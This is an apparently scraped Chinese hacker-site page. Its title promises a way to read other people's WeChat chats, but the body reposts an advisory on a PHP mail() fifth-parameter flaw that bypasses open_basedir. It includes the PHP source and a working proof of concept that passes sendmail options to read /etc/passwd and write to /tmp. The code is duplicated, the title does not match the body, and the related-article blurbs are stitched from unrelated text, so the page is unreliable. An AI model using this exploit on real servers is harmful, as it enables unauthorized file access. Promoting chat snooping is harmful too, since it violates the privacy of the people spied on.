怎么看到别人微信聊天记录 不微信密码,可以看到

访客3年前黑客文章627

漏洞介绍:php是一款被广泛使用的编程语言,可以被嵌套在html里用做web程序开发,但是80sec发现在php的Mail函数设计上存在问题,可能导致绕过其他的如open_basedir等限制以httpd进程的身份读写任意文件,结合应用程序上下文也可能导致文件读写漏洞。漏洞分析:php的Mail函数在php源码里以如下形式实现: Php 代码复制代码 ...... if(PG(safe_mode)&&(ZEND_NUM_ARGS()==5)){ php_error_docref(NULLTSRMLS_CC,E_WARNING,"SAFEMODERestrictionineffect.ThefifthparameterisdisabledinSAFEMODE."); RETURN_FALSE; } if(zend_parse_parameters(ZEND_NUM_ARGS()TSRMLS_CC,"sss|ss", &to,&to_len, &subject,&subject_len, &message,&message_len, &headers,&headers_len, &extra_cmd,&extra_cmd_len )==FAILURE){ return; } ...... if(force_extra_parameters){ extra_cmd=estrdup(force_extra_parameters); }elseif(extra_cmd){ extra_cmd=php_escape_shell_cmd(extra_cmd); } if(php_mail(to_r,subject_r,message,headers,extra_cmdTSRMLS_CC)){ RETVAL_TRUE; }else{ RETVAL_FALSE; } ..... ...... if (PG(safe_mode) && (ZEND_NUM_ARGS() == 5)) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "SAFE MODE Restriction in effect. The fifth parameter is disabled in SAFE MODE."); RETURN_FALSE; } if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "sss|ss", &to, &to_len, &subject, &subject_len, &message, &message_len, &headers, &headers_len, &extra_cmd, &extra_cmd_len ) == FAILURE) { return; } ...... if (force_extra_parameters) { extra_cmd = estrdup(force_extra_parameters); } else if (extra_cmd) { extra_cmd = php_escape_shell_cmd(extra_cmd); } if (php_mail(to_r, subject_r, message, headers, extra_cmd TSRMLS_CC)) { RETVAL_TRUE; } else { RETVAL_FALSE; } ..... 在php_mail中 Php 代码复制代码 PHPAPIintphp_mail(char*to,char*subject,char*message,char*headers,char*extra_cmdTSRMLS_DC) { .... FILE*sendmail; intret; char*sendmail_path=INI_STR("sendmail_path"); char*sendmail_cmd=NULL; .... if(extra_cmd!=NULL){ sendmail_cmd=emalloc(strlen(sendmail_path)+strlen(extra_cmd)+2); strcpy(sendmail_cmd,sendmail_path); strcat(sendmail_cmd,""); strcat(sendmail_cmd,extra_cmd); }else{ sendmail_cmd=sendmail_path; } .... /*Sincepopen()doesn'tindicateiftheinternalfork()doesn'twork *(e.g.theshellcan'tbeexecuted)weexplicitelysetitto0tobe *surewedon'tcatchanyoldererrnovalue.*/ errno=0; sendmail=popen(sendmail_cmd,"w"); PHPAPI int php_mail(char *to, char *subject, char *message, char *headers, char *extra_cmd TSRMLS_DC) { .... FILE *sendmail; int ret; char *sendmail_path = INI_STR("sendmail_path"); char *sendmail_cmd = NULL; .... if (extra_cmd != NULL) { sendmail_cmd = emalloc (strlen (sendmail_path) + strlen (extra_cmd) + 2); strcpy (sendmail_cmd, sendmail_path); strcat (sendmail_cmd, " "); strcat (sendmail_cmd, extra_cmd); } else { sendmail_cmd = sendmail_path; } .... /* Since popen() doesn't indicate if the internal fork() doesn't work * (e.g. the shell can't be executed) we explicitely set it to 0 to be * sure we don't catch any older errno value. */ errno = 0; sendmail = popen(sendmail_cmd, "w"); 如果是Linux系统,Mail函数将拼接INI_STR(”sendmail_path”)的内容和额外的参数来执行命令,但是额外的参数在拼接之前经过php_escape_shell_cmd的处理,所以我们无法执行额外的命令。但是通过查阅sendmail自身的命令帮助,我们可以发现sendmail的某些参数是可以用来读写文件的,利用这个特性如果我们控制第5个参数的时候我们一样可以获得对文件系统的读写权限并且不受open_basedir等限制。 漏洞测试: Php 代码复制代码 <?php $to='jianxin&80sec.com'.str_repeat("x",10000); $subject='thesubject'.str_repeat("x",10); $message='hello'.str_repeat("x",10); mail($to,$subject,$message,$headers,"-v-bt-X/tmp/80sec-d13-C/etc/passwd"); ?> <?php $to = 'jianxin@80sec.com'.str_repeat("x",10000); $subject = 'the subject'.str_repeat("x",10); $message = 'hello'.str_repeat("x",10); mail($to, $subject, $message, $headers,"-v -bt -X /tmp/80sec -d13 -C /etc/passwd"); ?> 本站内容均为原创,转载请务必保留署名与链接!php mail function open_basedir bypass:http://www.80sec.com/php-mail-function-open_basedir-bypass.html

相关文章

黑客起什么名字好(黑客名字霸气)

黑客起什么名字好(黑客名字霸气)

本文导读目录: 1、什么样的网名适合黑客 2、黑客组织的名字 3、黑客的确切分类称呼 4、黑客一般叫什么名字 5、中国十大黑客排名是什么?有什么事迹? 什么样的网名适合黑客 只要技术...

有什么办法盗取和查看我老公老婆和别人之间的

作为一个母亲,对于奶粉的选择我很严格,很多大牌的奶粉我家宝宝都用过,从而我得出的经验是,只有宝宝适应的才是最好的!下面友谊长存的小编就来说说:三元爱力优奶粉口感怎么样 三元爱力优奶粉宝宝爱喝吗....

苹果手机输入**4636(苹果手机输入法怎么换行)

苹果手机输入**4636(苹果手机输入法怎么换行)

本文目录一览: 1、苹果手机怎么设置链接不上网络 2、苹果手机无法连接网络 3、手机停机并且忘了自己的电话号码时该怎么查询? 4、为什么苹果7输入*#*#4636#*#*没有用? 5、...

数据线会不会被植入木马

技术层面来说不排除这个操作可能我只能说。所以我想问的是你的关注点是什么?或者焦虑的因由是什么?普通用户因没有多少窃取的价值不会费劲心力刻意盯上。 这些保单机是目前市面上流行机器之一用于的设备也众多我在...

飞利浦指纹锁9200怎么样

飞利浦指纹锁9200怎么样

飞利浦Alpha 指纹锁 家用智能锁全自动暗码锁推拉式防盗门电子锁价值:¥2280店肆:京东飞利浦电子锁旗舰店当即购置  智能锁固然进入中国市场已有20余年,但成长迟钝,直到近几年才迅速崛起。在应用场...

软件主要技术指标(计算机软硬件系统的组成及主要技术指标)

软件主要技术指标(计算机软硬件系统的组成及主要技术指标) 1、计算机硬件系统均有运算器、控制器、存储器、输入设备、输出设备五大部分构成。 2、运算器:算术运算和逻辑运行的实际执行部件 3、控制器...